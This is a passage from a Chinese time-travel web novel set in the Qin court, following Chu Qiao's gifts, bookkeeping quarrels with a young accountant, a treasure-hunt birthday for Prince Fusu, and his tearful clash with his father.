只见她追上来，从怀中掏出一串手串。
“大王，这是我的新年礼。”楚荍将手中的手串递给他，“这是十八籽，由十八种不同木石珠子串成，戴在身上保平安，很灵的。”
十八籽手串她很早就在准备了，春夏那次扶苏生病给她留下了很大的心理阴影。前世她去杭州灵隐寺旅游，请回来一串十八籽，一直戴在手上。灵不灵她不知道，但至少图了个心里安慰。
而且她觉得还挺灵的，不然她现在就不会在这，而是就真的猝死了。
听到楚荍心声的系统，冒了一头疑惑的问号。她现在能在这是因为系统，这是未来科技，跟手串有什么关系，怎么还搞封建迷信？这个时候，连佛教都没有呢！
她给扶苏准备的时候，多出来了很多材料，所以顺手给嬴政也做了一个。
楚荍追出来的时候忘了穿披风，她紧紧裹着自己的衣裳。抬头望向嬴政的眼睛里，银色的月光映在里面，很美。
或许是天上的圆月太过晃眼，鬼使神差地，嬴政竟然收下了这份相比白天的“纸”来说，十分寒酸的新年礼。
不过下一次他去到格物府的时候，就后悔了。因为那时他才发现，楚荍这保平安的十八籽手串，是批发的。
和她亲近的人，几乎人手一个。
43.第四十三章 王澧
“喏，这是公子的。”
楚荍笑着拿出另一串十八籽。
“这是什么？”扶苏好奇地问 。
“保平安的手串，姑姑亲手串的。送给公子的新年礼。”
“所以刚刚姑姑是去给父王送这个吗？”扶苏浅笑一声说道，语气颇有些揶揄。
“嗯，姑姑给你准备的时候多出些材料，所以就给大王也做了一串。”楚荍点点头，朝扶苏眨了眨眼，眼里满是笑意。“公子可别和大王说，这是秘密。”
“好，秘密。”
扶苏笑着伸出手，让楚荍帮他戴上这串十八籽。
深夜，楚荍有些疲惫地躺在床上。
虽说这几天都是在休息，但是今天吃席还是挺累的。在宴席上要应对各路人马，光跟那些大佬打机锋，猜他们话里的意思就要累死了。
她照常打开系统，查看扶苏的思绪泡泡。她现在每日的乐趣之一就是看扶苏的思绪泡泡，真的很有意思。
比如今天因为吃的火锅，又听她谈了很多关于辣椒的事情，所以扶苏的思绪泡泡里是画着辣椒的纸张。
从商店升级之后她也差不多摸清楚了。现在这个商店由于等级限制，不会出现活物，扶苏想象中的活物都会变成纸张上面的画像。
而且就算是器物也有限制。她曾经引导过，如果是扶苏没见过的，而且比较复杂的器物，就只有一个模型，内里的结构是没有的。
所以其实很难说这是一次升级，她甚至不知道升级前后的商店哪一个更鸡肋。
不过她也不靠这个，楚荍现在更多是把这个商店当做一个意外之喜。有当然很好，没有也不差什么。
而且这么久她也明白了，这系统的基础功能是扶苏的健康监测仪。别的功能都只是锦上添花。
楚荍的意识从系统中退出来。她摇摇头将工作的事情摇出脑外，年节过后，最重要的就是扶苏的生辰。
扶苏生在惊蛰那天。二月节，天气转暖，渐有春雷，“蛰虫惊而出走矣”，农夫始而春耕。是个好日子。
生日不一定要盛大隆重，但楚荍希望扶苏能在那一天留下快乐难忘的回忆。
但具体形式要怎么办，她已经纠结很久了。扶苏最喜欢吃甜，她本来想做蛋糕，但是很快就发现现在根本没这条件，奶油都打发不了。
楚荍想了很多方案又很快被自己否决掉。这样想着想着，不知不觉间就睡着了。
寒随一夜去，春逐五更来。
很快，冬去春来。
楚荍从宫中回到格物府已经有一段时间。过完年假的府员回到格物府后也很快就开始了忙碌的工作。
年关的时候桓齮胜利班师，还带回了一批俘虏。在楚荍的“据理力争”之下，这批俘虏都被嬴政拨给了格物府。
主要她们是真缺人。纸造出来了，那配套的笔墨砚不都要跟上。现在建造纸厂、毛笔厂要人，她之前圈起来用来给农工坊育苗育种、优选优种的大片耕地春耕翻地也要人。
楚荍要将冬天的成果转化成商品，处处都要人。更不提这个春天她还准备建一个格物府专卖店，已经在着手准备了。她本来是想建一个超市的，“大秦超市”，多霸气的名字。可惜现在还没有那么多商品，能让她开超市。而且商贩承包的事情也很麻烦，她现在没有这么多精力去干这个。
专卖店地址她和甘罗已经敲定，现在正在给房舍进行装修。
这么多事情她跟甘罗两个人肯定是干不过来，所以嬴政又给她拨了不少人分管这些事情。原本格物府只有她和甘罗两个行政人员，她还算半个技术人员。所以很多事情都是甘罗在管，比如说账本。
所以她特意找去现在管财政的王绾给她拨个“计曹官”，也就是会计。而且得是头脑聪明灵活，算数好，能够接受运用新型记账方法的人才。
楚荍之前看账本，得捧着竹简一卷一卷的看，内容冗余、十分复杂，她眼睛都要看瞎了。
所以纸造出来之后，她最先裁剪成册的就是账本。而新型的记账方式，则是她在年节死皮赖脸去找王绾要人的时候，顺便跟他儿子商讨出来的。
是的，楚荍无意之间又捡了个算学天才。只能说国家气运好就是这样的，在路上随便捡个石子往人群里砸，砸到都是人才。
那天，她找王绾要人的时候，把账本也带去了，她跟说王绾说要能够适应纸质账本、新的记账方式的人。
当时她一说这话，王绾的表情就像是想把她扔出去一样，眉头皱得能夹死一只苍蝇。王绾一直不太喜欢她，她能理解，毕竟王绾一看就是那种固执古板的人。
这也是为什么一统天下之后，秦朝建制的时候，他还会去支持分封制。刨去政治因素，也跟性格有那么一点点的关系。
而楚荍这种特立独行、自由散漫的性格，他自然看不过眼。
不过楚荍倒是不在乎这些，她又不是来让王绾喜欢她的，她是来从王绾手里挖人的。
那时
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她们谈话的时候他儿子王澧也在旁边，今年才十七岁。并且对她提出的新记账方法展现出了极大的兴趣。
后来两人聊得投入，王绾直接把他们俩赶去王澧书房了。
那天他俩从中午聊到晚上，王澧很快就吸收了楚荍提出的能够画在纸上的表格和各种图表。等到第二天楚荍带着甘罗再去的时候，他已经能够举一反三。甚至解决了一部分的计算问题。楚荍对此大为叹服，深感自己又捡到宝了。
甘罗也是对算学十分感兴趣，两个一见如故、一拍即合，就很多计算问题探讨了很久。反倒是变成了楚荍插不进去话。后来甘罗甚至在王绾家留宿了几天，两人很快就敲定了一套全新的记账方式。
而且在她想把王澧带去格物府的时候，王绾竟然没有阻拦，甚至还给她又送了个“计曹官”。
也是，王澧虽然是算学天才，但是在格物府规模扩大之后，一个人也不够用。
现在格物府除去技术人员，包括楚荍和甘罗在内已经有十二个行政人员。
后来王澧母亲送王澧来格物府，楚荍看着王澧母亲脸上骄傲又有些担忧的神色，突然就明白了王绾为什么没有阻拦王澧来格物府。
现在的格物府，明显是个香饽饽。工资高、待遇好，受大王看重，能进来的人物全是人中翘楚。
最重要的是，楚荍以前那句“大王视你们为大秦的未来”已经在朝中和民间传开了。
特别是在民众之间，已经口口相传了。楚荍招了不少农家子弟，过年时他们带回去沉甸甸的“新年福”就是这句话最好的证明。
若不是受大王看重，一个“农夫”何德何能能有如此重的赏赐？
现在百姓已经将能进格物府视为荣耀中的荣耀，和祖坟冒青烟并为一列了。
而王绾明显看得更清楚，格物府将会是王澧政治生涯中很好的跳板。
不过有一点王绾没有考虑进去，那就自己儿子的性格。
王澧性格完全随了他老爹，严谨、严肃，完全不通人情，比石头还硬。
楚荍现在简直是饱受痛苦，现在是看到王澧就要绕道走。
无他，楚荍性子活泛，想到什么事情就要做，花钱和流水一样。
而王澧管着账本，对楚荍这种无视预算的做法十分不满。每次见到楚荍都要拿着账本跟她对账，并对她进行长达半个时辰的教训。
王澧真的只有十七岁吗，楚荍每次都欲哭无泪地想，怎么比她爹还固执啊！
44.第四十四章 政哥手办
春雨淅淅，连绵的细雨飘在天上。
王澧正在房中算账。突然，他看到一个数字，眉头瞬间紧锁起来。
“嘚驾”一声，马车在格物府的大门外停稳。
楚荍从马车上下来，撑着伞走进门。她刚从宫中回来。
结果她刚推开自己书房的门，还没进去呢，就被一个她现在最不想听见的声音叫住了。
“府长！”王澧冒着雨朝她走过来，神色十分严肃。
楚荍回过头，发现他两手空空，手里没拿账本，稍微松了口气。
“怎么了，王澧？”楚荍扬起笑容，有些心虚地问。她的眼神到处飘，就是不敢看王澧。
只见王澧走上前，身上略微有些湿。虽然有房檐遮挡，但斜斜细雨依然飘在了他们身上。
楚荍将还没来得及收起的伞向王澧倾斜，眼神飘忽地又问了一遍：“怎么了？我这两天什么都没干啊？”
闻言，王澧并未说话，而是从怀里掏出了账本。
很好，看到账本楚荍的心彻底死了。她叹着气垂下头，做好听王澧说教的准备。
“府长，你这两日是什么都没干。但是五日前李家大婶摔倒，看病的钱是你出的。七日前你又为赵家孤儿还了几件衣裳，还有半月前......”
“好了好了，”楚荍打断王澧，再不打断他他能把之前的旧账都翻出来说一遍。“小澧啊，你看我这都做的是好事对不对，你不要这么较真嘛。”
楚荍这话一说完，王澧的眉头皱得更深，他反驳楚荍说道：“府长，您应该比我更清楚，这不是较真的问题。您做的好事是个人行为，是不能掺在府里的账一起报的。”
“我知道、我知道，我不是......”楚荍还有半句“没钱”没好意思说出口。
楚荍是真没钱。她自己是不怎么花钱，但是还有其他地方要花钱啊。比如格物府这几月发给她的俸禄她都用来给扶苏准备礼物了，她上次给工匠付完钱就发现自己成了穷光蛋。
之前原主在宫中攒的钱，她在去年秋冬就全贴到格物府里了。
而且她做的那些事，都是刚好被她碰上了，她才出手帮了一把。赵家那个孤儿，如今虽然已经入春，但还冷得很。他本来就营养不良的身体，一身单衣怎么扛得住。她这才去给他买了几件衣裳。
当然，她兜里没钱，买衣裳的时候直接挂的格物府的账。
现在好了，被“债主”追上门了。
楚荍又叹了口，扬起一个讨好的笑容，正准备糊弄几句。突然灵光一闪，想到个好主意。“这样吧，要不我们专门设立一个慈善款，我花的这些小钱都算到这里面，然后半年报一次，我自己报。”
楚荍正为自己这个天才想法得意呢，就见李小花突然兴冲冲地跑来找她。
“姑姑，姑姑，你快跟我来。”李小花拉着她就跑。
“小澧，你去跟你们甘府长商量一下，看行不行啊。”
楚荍被李小花拉跑，回头笑着朝王澧挥手，还惦记着自己这个“漏洞百出”的天才想法。
王澧站在原地看着跑远的两个人，抿了抿嘴，头一次露出无语的表情。
这不就是提前支府里的钱，然后再自己补上吗？完全不合规的事，他也不知道自家府长在笑个什么。
要是人人都提前支账，然后再自己补上，那他这个计曹官也没有存在的必要了。
还是去找甘先生商量一下吧。
王澧摇摇头，现在楚荍彻底被他划入不靠谱那一列了。
另一边，楚荍被李小
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花拉到文工坊。到现在为止仍然只有她和卫兰两个人的工坊。
“这是5.0版本，姑姑你看看怎么样！”
李小花将一个大概三十厘米高的手办小心翼翼地递了过来。
是的，你没看错，就是手办，而且是政哥手办。
这个手办是用原木雕刻的。小花选取的是一套衣袂飘飘的常服，一手负立，一手握着长剑。手办的姿势是微微抬头，眼睛往向不知处的远方。
楚荍一直觉得小花最厉害的地方就是雕刻眼睛，这双眼睛经过小花的手，便立马有了感情。政哥胸怀天下，运筹帷幄之间，决胜千里之外的霸王之气通通从这双眼睛里透了出来。
这个衣袂翩翩、长身玉立负剑的姿势本带有侠客的潇洒，但是一条真龙从脚底盘旋而上，特别是龙头趴下嬴政肩头的设计，简直是点睛之笔。立马就把侠客的潇洒变成了锦上添花的点缀。而帝王的霸气却犹如实质化了。
之前小花雕刻龙椅的时候，楚荍就发现她是个极好的木雕师。当时就存了这个心思，所以带她来格物府之后就给她布置了这个任务。
从冬到春，作图、选料、雕刻，一次次推翻重来，终于在今天才有了5.0版本。
“姑姑你看，这个剑还可以换。”
只见李小花将政哥手上的剑抽出来，然后换上了一把“戟”。
楚荍捧着手办，前后左右，翻来覆去的看，越看心里越喜欢。
太美了，这个手办简直太美了。楚荍不停地赞叹，她简直要爱不释手了。
她脑子里早就存了一揽子推销计划，就等这个手办的实物出炉。
楚荍瞪大眼睛，无不激动地想：
现在她“穿越后靠卖政哥手办发家致富”的愿望终于要实现了吗！
45.第四十五章 生辰
春日晴朗，时间很快就来到了扶苏的生辰。
“公子醒了没有？”
楚荍在门口小声问夏时。
“没呢，”夏时摇摇头，眼里满是温柔的笑意。这样好的日子，就是夏时，脸上也扬起了幸福的笑容，他语气温柔地说，“昨晚公子怕是很晚才睡着。”
“想想也是，换成我，晚上也要兴奋好久睡不着呢。”楚荍也跟着笑起来，“好了，走吧，去把我们今天的主人公叫起来。”
两人走进门，扶苏果然还在睡。
楚荍走上前，柔声叫道：“公子，公子，起来了，今日可是你的生辰，姑姑给你准备了好多惊喜哦。”
扶苏本来还在做梦，迷迷糊糊中听到有人叫自己。半梦半醒之间，突然就睁开眼醒了。
“姑姑，你来了。”扶苏翻过身，揉了揉自己惺忪的睡眼，这才从床上坐起来。
他看了一眼窗外，外面天光已经大亮。平日这个时候他都已经在偏殿里读书了。
看来昨晚还是睡太晚了。他只记得自己在黑暗里睁着眼东想西想，什么时候睡着的都不记得了。
“公子昨晚可睡好了？”楚荍伸手摸了摸扶苏的头，笑着问道。
“嗯，睡好了。”扶苏用力地点点头，“虽然睡得有些晚，但是睡得很香，好像还做了个很好的梦。”
“那就好，公子要起来吗？今天还有很多活动呢。”楚荍笑着问。
虽然她提前精心准备好了很多活动，但如果扶苏现在只想睡觉，她也会同意。
今日是扶苏的生辰，自然是以他的意愿为主。
“当然，我要不是不起来岂不是辜负了姑姑的好意。”
说着，扶苏从床上起来，楚荍接过宫人手里的衣裳为他更衣。
衣裳穿上之后，扶苏才发觉有些不对劲。这不是他平常的衣裳，而且他从没见过这样奇怪的衣裳。
还没等他问呢，楚荍就开口为他解释道：“这是圆领袍，姑姑特意为公子做的。公子不愧是衣架子，穿什么都好看，喜欢吗？”
楚荍为扶苏穿的是一件竹青色的圆领袍，在袖口和下摆处用银线绣着祥云纹和展翅的仙鹤。腰间系上腰带后再挂好玉佩，头发束起后插上一枚玉簪，整体的装束就算完成了。
美，实在是太美了。楚荍为扶苏整理好衣裳后站起身，眼睛看得都直了。
扶苏穿起来比楚荍之前想象中的还好看。
不仅美，还十分雅致。这一年，扶苏的身量又长了一些，完美撑起了这件圆领袍。竹青的颜色也衬得扶苏颇有几分潇洒、出尘飘然的意味。
“快，去花园摘几枝花回来。”楚荍回头朝宫人吩咐。
这么美的少儿郎，就得簪花才是。
更完衣后，早膳也送了过来，一碗长寿面。
楚荍给扶苏递上筷子，笑着说些俏皮的吉祥话玩。
“吃了长寿面，保佑我们公子长长寿寿，健健康康，一生平安。”
扶苏一碗面吃完之后，去摘花的宫人也回来了。她摘了几枝现在开得最好的杏花。
接过花，楚荍挑了几朵挤在一起开的小枝，折下后簪到扶苏鬓边。
粉白的杏花娇艳欲滴，但簪在扶苏鬓边，却是人比花娇。
楚荍拍拍手，十分满意自己的杰作。
扶苏看着铜镜里自己鬓边的花，有些好奇，但并不反感。这花确实跟自己的新衣裳挺配的。
“多谢姑姑，我很喜欢。”扶苏抬手扶了扶花，笑着向楚荍道谢。
“公子喜欢就好，姑姑为公子准备了很多件圆领袍，以后可以换着穿。”
楚荍开心地说，随后又在扶苏面前转了一圈，摆了个姿势，问道：“那公子可看出姑姑这衣裳有什么不同？”
闻言，扶苏仔细看看了楚荍的衣裳，很快就发现了不一样，“上衣改短了，还是窄袖。裙子，不对，是裤子！”
他就说今天姑姑有点不一样，看起来怪怪的，原来是换了新衣裳！
但是这样的装扮，怎么说呢，似乎看起来很轻便。<
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p>“很适合姑姑，姑姑穿起来很好看，给人一种潇洒自由的感觉。”扶苏点评道，围着楚荍转了好几圈，却看越觉得这衣裳适合自家姑姑。
楚荍被扶苏夸得尾巴都翘起来了，她矮下身揉了揉扶苏的小脸蛋，脸上的笑意怎么都止不住，“哎呀，还是公子懂我。真是姑姑的亲亲心肝宝贝！”
“这个叫阔腿裤，只要动作不是很大，是不是看起来就跟裙子一样，但是要比裙子方便行动很多。”
楚荍跟扶苏介绍自己做的改动，说着就又转了好几圈。
她将上衣改成了交领袄的形制，裙子改成了阔腿裤，甚至还做了两个口袋。双手一插，往那一站，潇洒极了。不过说是阔腿裤，其实形制更像是宋裤，毕竟这时候没有皮筋能做松紧腰带。
楚荍最开始想改衣裳的目的就是为了方便穿，穿裙子工作太不方便了。
这不天气刚转暖一点，她就把这衣裳改出来了。当然，是请人做的，她自己可没这手艺。本来卫兰还想帮忙来着，被楚荍果断拒绝了。
现在卫兰的手是画画的手，很金贵的，万一被针扎着了怎么办。
两人聊完衣裳之后，楚荍为扶苏精心准备的“生辰大作战”也开始了。
只见楚荍不知从哪变出一张大地图，地图抬头是三个大字——藏宝图。随后宫人又不知从哪推出一块用来挂地图的木板。宫人接过楚荍手上的地图，将地图贴到木板上。
但这地图又不能说是地图，因为现在上面只有一个地点：扶苏寝宫。
“姑姑，这是？”扶苏瞪大了眼睛问。
“这就是姑姑为公子准备的惊喜哦，公子每过一关，就能获得惊喜奖励，还有获取下一关的地图碎片。只要公子能过五关斩六将，在最后打败邪恶的侍卫，就能成为英雄，获得宝藏。”
楚荍为扶苏介绍完规则之后，扶苏就明显兴奋起来。
哼哼，果然没有小朋友会不喜欢寻找宝藏的大冒险吧。
打败邪恶侍卫寻求宝藏的生辰大作战，正式开始！
46.第四十六章 解谜
因为时间有限，楚荍并没有设置很多点位。中午扶苏还要和政哥吃饭呢。
从寝宫出发，楚荍给了他第一个线索，一个字谜。
“头戴破草怪客，天山七剑俊杰。”打一字。
扶苏接过写着字谜的小纸条，不过片刻便解了出来。
“谜底是花，下一个地点是在花园，对不对！”扶苏问，语气十分自信。
楚荍见扶苏几乎看一眼就解出来，心里十分骄傲，她兴奋地说：“恭喜公子，解开下一个地点的线索。现在可获得道具一个，请前往下一个地点解谜吧。”
扶苏接过他一只手就可以拿下的小铲子，既兴奋又有些疑惑，难道下一关需要他挖什么东西吗？
不过事不宜迟，众人很快就从寝宫赶到了花园。
但是花园这么大，姑姑会把下一关设在哪里呢？扶苏站在花园门口想，他抬头看了一眼楚荍，立马就反应过来，拉着楚荍就跑了起来。
“哈哈，我就知道，姑姑会把下一关设在这里。”
扶苏喘着气走到那两张摇椅前。果不其然，两张摇椅中间的小方桌上摆着一盘残棋。
他走上前坐下来，开始解这盘棋。
当扶苏拿动第一枚棋子的时候，就发现了不对劲。这个棋子拿起来会比普通棋子重很多。他往下一看，棋盘下面是一个盒子。
“姑姑，这不会是机关盒吧，只有解开这盘棋才能打开盒子拿到线索。”扶苏不太笃定地问道。
“bingo，公子又答对了。”楚荍拍拍手笑着说。
这个机关盒子是重力感应的，这盘棋有好几种解法，但其中只有一种解法，吃掉对应的棋子，才能解开。
得到楚荍肯定的答案，扶苏放下心来开始解这盘棋。
一柱香之后，扶苏吃掉另一方的帅棋。
只听“咔哒”清脆一声，盒子侧面的木板掉了下来。
扶苏从里面拿出一张纸，上面写着下一个地点在膳房。
那这个铲子有什么用呢？扶苏看着被自己放到一边的小铲子，而且姑姑还说过每关会有惊喜奖励。但机关盒子里除了这张纸条之外别无他物。
肯定还有什么他没发现。
扶苏四
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处观察，突然发现他解开的棋盘上剩下的棋子向指着一个地方。他顺着方向看过去，果然在不远处的一颗杏花树下看到看到一个小土包。
“在那里！”扶苏兴奋地拿起铲子跑过去挖了起来，很快，就挖到一个小木盒。
木盒没有上锁，里面是一个木雕的Q版娃娃。
扶苏左看右看，有些不可置信地问：“这个娃娃是我吗？”
“是哦，怎么样，很像吧。”
楚荍笑着说，这可是她特意拜托小花帮她雕的。
扶苏点点头，不仅是很像，简直是栩栩如生。
“这就是这关的惊喜奖励了，我们快去下一关吧。”
“好。”扶苏牵住楚荍的手。
他拿着这个木雕娃娃，心里很好奇是不是还有另一个娃娃。
会是谁来牵住他的娃娃的手呢？
很快他们到了下一关，过完玩后他本来以为会看到另一个娃娃，结果只是一个刚好可以嵌进他娃娃的木盒子。
不会这个盒子也印证了他的想法，因为旁边还有另一个可以放进娃娃的凹痕。
47.第四十七章 围棋
呼，扶苏给包子捏完最后一个褶，如释重负地呼出口气。
抬手用手背擦了擦自己额头上的汗，结果一不小心面粉全蹭到脸上了。
偏偏他自己还不知不觉，成了大花猫都不知道。
“姑姑，这样应该能通过了吧。”扶苏小心翼翼地捧起他手中还算有个包子形状的的包子，底气不足地问。
他手中这个包子相比旁边案板上奇形怪状，感觉每一个都是死于非命的“包子”而言，已经是最好的一个了。
“当然能啦，”楚荍伸手揪了揪扶苏的鼻子，给小花猫点上白白的鼻子，“公子第一次做，已经比姑姑做的好了。而且就算不看着包子面上，也要给公子满脸的面粉面子不是。”
楚荍说完，众人都笑了起来。扶苏这小花猫的样子是在太可爱。
闻言，扶苏里面跑到一边的水盆上一照立马就羞红了脸。
“姑姑，怎么不早点提醒我！”扶苏回头幽怨地看向楚荍。
膳房里其他人见装都七嘴八舌替楚荍说话，又乘机夸赞扶苏的可爱。
扶苏平日里没有架子，待所有人都十分和善，所以大家说起话来也没了许多顾忌。
楚荍见差不多了，走过去递上帕子让扶苏擦脸。见好就收很重要的。
这一关的奖励是个放娃娃的木盒子。扶苏拿到之后没有气馁，干劲十足地往下一关冲去。
后面一关设置在乐坊，楚荍将楚国的编钟搞了过来，整了一个编钟音游。
楚荍把现代的生日快乐歌给编成了曲子，让扶苏也体会了一把“打歌”的乐趣。
等在乐坊敲完编钟，时间已经快到中午。最后一关设在了校练场，邪恶的侍卫则是王离。
扶苏看着一本正经的王离牵着马站在太阳底下，问道：“姑姑，你是怎么说服王离来干这个的？”
“他可是自愿报名的，知道是给公子过生辰，所有人都十分乐意哦。”
楚荍笑着说，“公子可是被所有人爱意包围的小孩子哦。”
闻言，扶苏有些不好意思。姑姑说话总是这么夸张，他在心里想。
要打败邪恶的侍卫，需要骑马完成障碍跑。
扶苏常骑的马驹已经被牵了出来，马上要跟王离上演一场生死时速。
一圈、两圈、冲刺、跨栏......
日头爬到正中之时，扶苏一个漂亮的骑越，跨过了最后一个栏杆。
“王兄，我赢了！”
扶苏挥着系在终点的丝带，在阳光照射下亮晶晶的汗珠从他额上滑下。
楚荍小跑上前，递上帕子给他擦汗。
“走吧，公子，打败邪恶侍卫的宝藏在偏殿。”她笑着说。
很快，一行人就到了偏殿。
从门口开始就有一条粉色花瓣铺出来的花路，尽头是扶苏的书桌。
而桌上却放着他从没见过，
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看起来像是“棋”的东西。
“姑姑，这是什么？也是棋吗？”扶苏拈起一枚白子，好奇地问。
“这是叫围棋，我看公子象棋玩腻了，又给你弄了个新棋。”
楚荍笑着解释，又仔细跟他解释了围棋的玩法。
就是这一副玉石围棋，花光了她几个月所有的俸禄。
“原来如此！”扶苏一副恍然大悟的样子，“这样行棋的可能性就更高了。”
“不过这棋面上的棋……”
扶苏看着这棋盘上的白子，总觉得有点熟悉，好像跟花园那盘棋一样，指着什么方向，好像在……他往右转头，就看见到了书架上的娃娃！
扶苏快步跑过去拿起娃娃，果然是父王的，他心里美滋滋地想。
他将嬴政的Q版娃娃放进娃屋中。两个娃娃互相牵着手，旁边还有桌椅柜子的装饰，十分温馨。扶苏光看着就高兴的不得了，
楚荍在一边看着扶苏开心地样子，心中的石头也落了地。
扶苏喜欢就太好了。
突然，嬴政身边的内侍走了进来，“公子，大王请您去主殿吃饭呢。”
“和父王吃饭吗？”扶苏有些疑惑，他还以为中午的安排是和姑姑吃呢。
“正是，大王已经在等了。”那宫人又说。
“去吧公子，大王肯定是要和你庆生呢。”
楚荍朝扶苏眨眨眼，表情是掩盖不住的兴奋。
48.第四十八章 再次争吵
“父王！”
殿内十分安静，只有嬴政偶尔翻阅奏章的哗啦声。扶苏突然脆生生的一句父王叫的嬴政心肝一颤。
他一抬头，就看到扶苏脸上挂着“傻乎乎”的笑容快步走了进来。
真是个傻小子，嬴政心想。嘴角却不知道在什么时候勾了起来。
他起身坐到已经摆好饭食的桌前。扶苏也乖乖坐了过来。
桌上都是扶苏爱吃的。
“父王。”扶苏又叫了一声，脸上的笑容越来越大。就好像是知道嬴政专门为他庆生，高兴的不得了。
嬴政见扶苏这高兴劲儿，心中觉得好笑的同时有些疑惑，他平常对扶苏很不好吗？怎么这么点事高兴成这样。不过这笑越看越傻倒是真的。
如果此时楚荍在这听到嬴政这句心声，肯定忍不住要吐槽。
就他政哥平常这冷言冷语的打压批评式教育，扶苏能长成这样努力善良的三好小朋友，已经非常不容易了。
“快吃吧，待会儿凉了。”嬴政用筷子指了一下扶苏面前的面。这是他特意让膳房给扶苏做的长寿面。
扶苏看着眼前和早上那碗一模一样长寿面，机智地把那句“他已经吃过一碗”给咽了下去。
这是父王的心意，要好好对待才是。
扶苏呼哧呼哧吃着自己这碗面，眉眼弯弯，十分开心地跟嬴政分享他上午的“生辰大作战”。
“这包子是你做的吧。”嬴政指着桌上一盘奇形怪状的包子，语气中带着笑意。
他见膳房端上来这么盘东西，就知道肯定是扶苏做的。
“嘿嘿，孩儿没想到膳房真把这包子给蒸了出来。”扶苏笑着说，有些不好意思地摸摸鼻子。
父子俩边吃边聊着些闲话，正午的阳光洒进来，一派岁月静好的温馨。若楚荍在这里，又要拍着墙直呼好萌。
“你生辰，想要什么？”
嬴政听完楚荍为扶苏准备的礼物，脸有些黑。跟楚荍的精心准备一比，他还是今天早上想起来才临时让宫人准备的长寿面，顿时显得十分敷衍和不用心。
扶苏闻言一愣，下意识握紧手中的筷子，他确实有样事情要求嬴政。
但这件事情如果他说出来，肯定会惹父王生气。
嬴政一眼就看穿扶苏犹豫的样子，皱着眉问：“怎么了，想要什么这么犹豫？”
他堂堂秦国国君，扶苏想要什么他给不起。
被一眼看穿的扶苏勾起苦笑的嘴角，他放下手中碗筷，深吸口气，抬眼看向嬴政，像是下了某种艰难的决心。
看扶苏这副凝重的表情，嬴政的眉头皱的更深，他突然有种不好的预感，意识到接下来扶苏要说的话会是他不爱听的。
但他想到扶苏会如此大胆。
“不行，你想都不要想！”
嬴政震怒地拍向桌子，他抬手指着扶苏大骂，“我看你真是被楚荍那女人给带疯了，心野疯了，宫外就这么好玩，一定要出宫？”
扶苏竟然说他想出宫进官署学习！
哼，他看哪里是想进官署学习，是想跑去格物府找楚荍玩吧。出宫了没人管着他还不得跟楚荍一起玩疯了。
扶苏被嬴政突如其来的震怒吓了一跳，在听到嬴政骂他出宫只想着玩的时候，原本准备好的说辞突然就哽在了喉咙里，什么都说不出来。
扶苏低下头，眼里的光熄灭，双手紧紧揪着自己的衣裳。
他突然不想说了，也不想解释。他不明白为什么父王会这样想他。泪珠在眼眶打转，转了两圈后硬生生地消失不见。
他有点失望……
嬴政见扶苏低着头不说话的样子更是气不打一处来，“你给我滚，滚回自己宫里去！”
扶苏站起身，一言不发地往外走去。
沉默的背影像是在控诉着自己无声的抗议。
嬴政看了更是气结，这小子是在跟他生气吗？他竟然还敢跟他生气？
要出宫的明明是他。刚过七岁生辰就想离家，天底下哪个父母会同意！
“姑姑、姑姑，不好了！”
扶苏身边的宫人急冲冲地跑进膳房找楚荍。
“怎么了，慌慌张张的？”楚荍皱着眉问，她心里一跳，突然有种不好的预感。这会儿扶苏不应该在和政哥吃饭吗。
只见那宫人立马又焦急地说道：“公子似乎和大王吵起来了，从大王殿里出来之后还不许我们跟着。”
“什么！”楚荍腾得从椅子上站起来，立马就慌了，不是一起吃饭庆生吗，怎么突然吵起来了？
“公子没让你们跟着你们就都没跟着吗？”她厉声问道。
“夏总管跟着呢。”那宫人摆摆手，“姑姑您快过去看看吧。”夏时在楚荍出宫之后就升任了总管。
楚荍见状也不敢耽搁，赶紧去寻扶苏。
太阳偏西，日过正午。韩非别院内。
“先生，公子来了。”侍者进屋禀报道。
闻言，韩非从书中抬头，却见扶苏并没进屋，而是背对着他坐在了门槛上。
扶苏低落的样子，他不用问，也从他的背影感觉到了。
这小子平日里都乐乐呵呵的，一副万事不愁的好心肠，怎么今日这么伤心。还跑他这门槛上来坐着。
韩非心下疑惑，但他没有多问，只是挥挥手让侍者退了出去。
赶来的楚荍见状，知道扶苏在韩非这里没事就默默退了出去。既然扶苏这种时候没有来找她，肯定是有原因的。她要尊重扶苏的决定。
她坐在韩非别院的二道门槛上，默默陪着扶苏。
她问了夏时，大概猜出了扶苏和政哥争吵的原因。
唉，楚荍摆着膝盖坐在门槛上，长叹口气，这还是扶苏自去年那次争吵之后，第一次和嬴政起冲突。
扶苏没来找她，现在她也不知道怎么办了。
扶苏坐在门槛，原本消失的眼泪又重新出现，争先恐后地从他眼眶里掉落。
父王怎么能这么想他呢，他怎么可能是为了玩。
如果不是姑姑说为他准备了礼物，他都不会特意把这一天空出来。
他明明……明明是为了父王。
扶苏越想越委屈，他手忙脚乱地擦着眼泪，却怎么也止不住。
自从姑姑和他提过父王的身体情况之后，他就留意了父王每日的工作，几乎是夜以继日地在开会，批奏折。
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他从小很少生病，可从去年春天病了那一次，知道生病的痛苦，他绝对不想让父王也经受他那样的痛苦。
更别说姑姑还说过，虽然父王看着健康，但一旦病起来，会更加严重。
所以他才会这么拼命、拼命的学习，包括出宫进官署，也是会为了能够多学一点，学的更快一点，才能够早点帮上父王，帮父王分担一些工作。
可……父王却这么想他……
那一瞬间他一句话都说不出来。
他不敢往下想，原来他在父王眼里，这么不值得信任。
扶苏两眼汪汪，越想越伤心。他抬手擦着眼泪，他要坚强，他不想哭的。
突然，一件外衣批在了他身上。韩非在坐在了他身边。
起风了，天很冷。
韩非坐到扶苏旁边，他强忍着抽噎，小声哭泣的样子，就是他看了，也于心不忍。而能让扶苏伤心的，也只有那一位了。
“怎么了？”韩非放轻了声音，问道。
只听扶苏吸了下鼻子，摇摇头，还在说没事。可就这两个字，都被他说的破碎不堪。
他强扯出笑容，断断续续地说道：“先生，您还是第一次对我这么温柔呢。”
明明自己伤心难过得想死，却还不愿意让其他人难过。韩非看着扶苏比哭还难看的笑，心里第一次心疼。
若扶苏早些生在他韩国，何愁韩国不兴。扶苏的勤勉和善良，这半年多来他都看在眼里。
六岁的孩子能耐得下性子在他这里一坐就是一下午地看书，看完之后还能交给他一份自己感悟的读后感。
这样好的孩子，嬴政竟然如此不珍惜！
“好了，老师在这里，想哭就哭吧。”
韩非伸手抱住扶苏，轻声安慰道。
扶苏没想到韩非会在这个时候认下他这个学生，可突然被人抱住的温暖，他鼻子一酸，立马就忍不住放声大哭起来。
像是要把长久以来的委屈都哭出来。
楚荍听到哭声，心立马揪了起来，扶苏从来这么哭过。
